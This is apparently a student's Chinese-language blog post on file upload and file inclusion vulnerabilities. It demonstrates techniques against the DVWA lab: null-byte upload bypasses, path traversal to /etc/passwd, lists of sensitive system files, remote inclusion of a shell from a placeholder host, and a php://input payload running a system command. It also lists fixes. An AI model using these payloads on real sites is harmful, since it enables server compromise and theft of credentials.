网络安全作业4

title: 文件上传/文件包含漏洞学习

date: 2016-04-25 21:52:19

categories: 安全

tags: Web安全

** 文件上传漏洞 **

在Web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制甚至服务器沦陷。

常见漏洞原因主要有:

服务器皮配置不当,如开启PUT方式;文本编辑器漏洞;过滤不严上传绕过;解析漏洞等

上传方式

1、解析漏洞

IIS 6.0 解析漏洞:

目录解析:在网站中建立名称为*.asp、.asa格式的文件夹时。其目录下的任意文件都会被当做asp执行。

文件解析:当文件名为.asp;1.jpg 时,也会被当做asp执行。这时因为分号后面的不被解析。

Apache 解析漏洞:

Apache在解析文件时,是从右到左,如果遇到不认识的扩展名,就会继续向左判断。例如1.php.rar,Apache回将其当做php解析。

IIS 7.0/IIS 7.5/ Nginx <0.8.3畸形解析漏洞:当访问http://xxx.xom/1.jpg/1.php时,此时1.php不存在,会将1.jpg当做php来解析。这是因为在php配置中cgi.fi: x_pathinfo这个选项开启时,当访问http://xxx.xom/1.jpg/1.php,1.php不存在,所有php会向前递归解析,于是造成解析漏洞。

2、绕过上传检测

1.有些上传检测是在客户端使用Javascript进行验证,此时可以使用浏览器f12调试功能修改js来绕过。

2.00截断:将普通的webshell文件更改后缀名为jpg,如xxx.jpg然后进行上传。上传时使用burpsuite工具进行拦截。此时在数据中更改文件名为 xxx.php.jpg,然后点击hex编辑16进制。将.jpg中的.的16进制2e更改为00。如图

此时文件名为:

此时,点击go进行上传,最终上传文件为xxx.php

3、服务器配置不当

WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法。使应用程序可直接对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。当WebDAV开启PUT,MOVE,COPY,DELETE方法时,攻击者就可以向服务器上传危险脚本文件。

此时可以使用OPTIONS探测服务器支持的http方法,如果支持PUT,就进行上传脚本文件,在通过MOVE或COPY方法改名。当开启DELETE时还可以删除文件。

参考:http://wiki.wooyun.org/server:httpput

修复上传漏洞

1、白名单验证

在服务器后端,使用白名单进行验证可以有效防御。

2、目录限制

上传后指定目录进行存储,可以防止目录解析漏洞。

3、文件重命名

上传后对文件名进行随机重命名,同时对后缀进行拼接,重新组成一个文件名。

文件包含漏洞

简介

在脚本语言中经常会用到其它的文件,所以都提供了文件包含功能,如果不对可以包含的文件进行限制,就有可能会导致文件包含漏洞。文件包含分为本地文件包含和远程文件包含。

文件包含漏洞可以读取敏感文件,配合文件上传功能可以得到webshell,远程文件包含可以直接远程包含shell。

本地文件包含利用

以PHP为例。PHP中提供了四个文件包含的函数,分别是 include(),include_once(),require(),require_once()

以DVWA为例:

页面中存在3个链接,分别为file1.php,file2.php,file2.php,当打开file1.php时,url链接为http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php

源代码如下

$file = $_GET[ 'page' ];

if( isset( $file ) )

include( $file );

else {

header( 'Location:?page=include.php' );

exit;

}

首先接受f i l e , 当 存 在 时 就 会 包 含 该 页 面 , 否 则 就 跳 转 到 i n c l u d e . p h p , 然 而 我 们 可 以 对 输 入 的 file,当存在时就会包含该页面,否则就跳转到include.php,然而我们可以对输入的file,当存在时就会包含该页面,否则就跳转到include.php,然而我们可以对输入的file进行控制。当输入

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../phpinfo.php时就可以打开phpinfo.php,由此可以读取敏感文件。

如图

并且当包含的文件中有符合php语法规范的语句时,也会将其当做php执行

例如创建一个phpinfo.txt文本,内容为:

<?php

phpinfo()

?>

当包含此文件时也会将其当做php文件执行。当包含非php语法规范的文件时,会打印其源代码。

如果存在文件上传功能,但是没有漏洞时,可以上传一个图片木马,由于没有限制导致无法被解析成为php时,就可以使用文件包含漏洞进行利用。

本地文件包含也可以用来读取敏感文件。

如windows下:

c:\boot.ini

c:\windows\system32\inetsrv\MetaBase.xml

c:\windows\php.ini

c:\windows\my.ini

linux下:

/etc/passwd

/etc/shadow

/var/www/conf/httpd.conf

/var/httpd/conf/php.ini

/var/httpd/conf/httpd.conf

本地文件包含也可以用来包含session文件,日志文件、上传的临时文件,缓存文件等等

远程文件包含利用

当php配置中allow_url_fopen和allow_url_include是打开时,就可以尝试包含远程文件,此时可以直接用来包含webshell等脚本文件。

如:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://xxx.com/shell.php,其中http://xxx.com/shell.php为远程shell文件。

同理也可以使用https或者ftp或者http

使用PHP封装协议:

如php流filter http://127.0.0.1/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php

此时访问次链接就会得到网页源码的base64代码。

php://input可以执行文件

当访问http://127.0.0.1/DVWA/vulnerabilities/fi/?page=php://input时,使用burpsuite进行截取

在post中提交数据即可,如<?php system('uname -a') ?>,如图

当后缀名被固定时,可以使用截断包含。

如:

$file = $_GET[ 'page' ];

if( isset( $file ) )

include( $file ).".php";

else {

header( 'Location:?page=include.php' );

exit;

}

当包含时只输入文件名,不输入后缀。但此时

可以输入?page=../../../../../../../../../etc/passwd%00

%00会截断。这种方法需要 magic_quotes_gpc=off,PHP小于5.3有效。否则%00会被转义

php小于5.3时,也可以利用最大目录长度的限制可以到达截断,如

../../../../../../(此处省略)/../etc/passd

在linux为4096字节,windows下256字节。

另外可以使用?来实现伪截断

漏洞修复

1、设置allow_url_include和allow_url_fopen为关闭

2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir

3、尽量不使用动态包含

相关推荐
热爱跑步的恒川34 分钟前
【论文复现】基于图卷积网络的轻量化推荐模型
网络·人工智能·开源·aigc·ai编程
云飞云共享云桌面1 小时前
8位机械工程师如何共享一台图形工作站算力?
linux·服务器·网络
音徽编程4 小时前
Rust异步运行时框架tokio保姆级教程
开发语言·网络·rust
幺零九零零5 小时前
【C++】socket套接字编程
linux·服务器·网络·c++
23zhgjx-NanKon5 小时前
华为eNSP:QinQ
网络·安全·华为
23zhgjx-NanKon5 小时前
华为eNSP:mux-vlan
网络·安全·华为
点点滴滴的记录5 小时前
RPC核心实现原理
网络·网络协议·rpc
Lionhacker6 小时前
网络工程师这个行业可以一直干到退休吗?
网络·数据库·网络安全·黑客·黑客技术
程思扬7 小时前
为什么Uptime+Kuma本地部署与远程使用是网站监控新选择?
linux·服务器·网络·经验分享·后端·网络协议·1024程序员节
ZachOn1y7 小时前
计算机网络:运输层 —— 运输层概述
网络·tcp/ip·计算机网络·运输层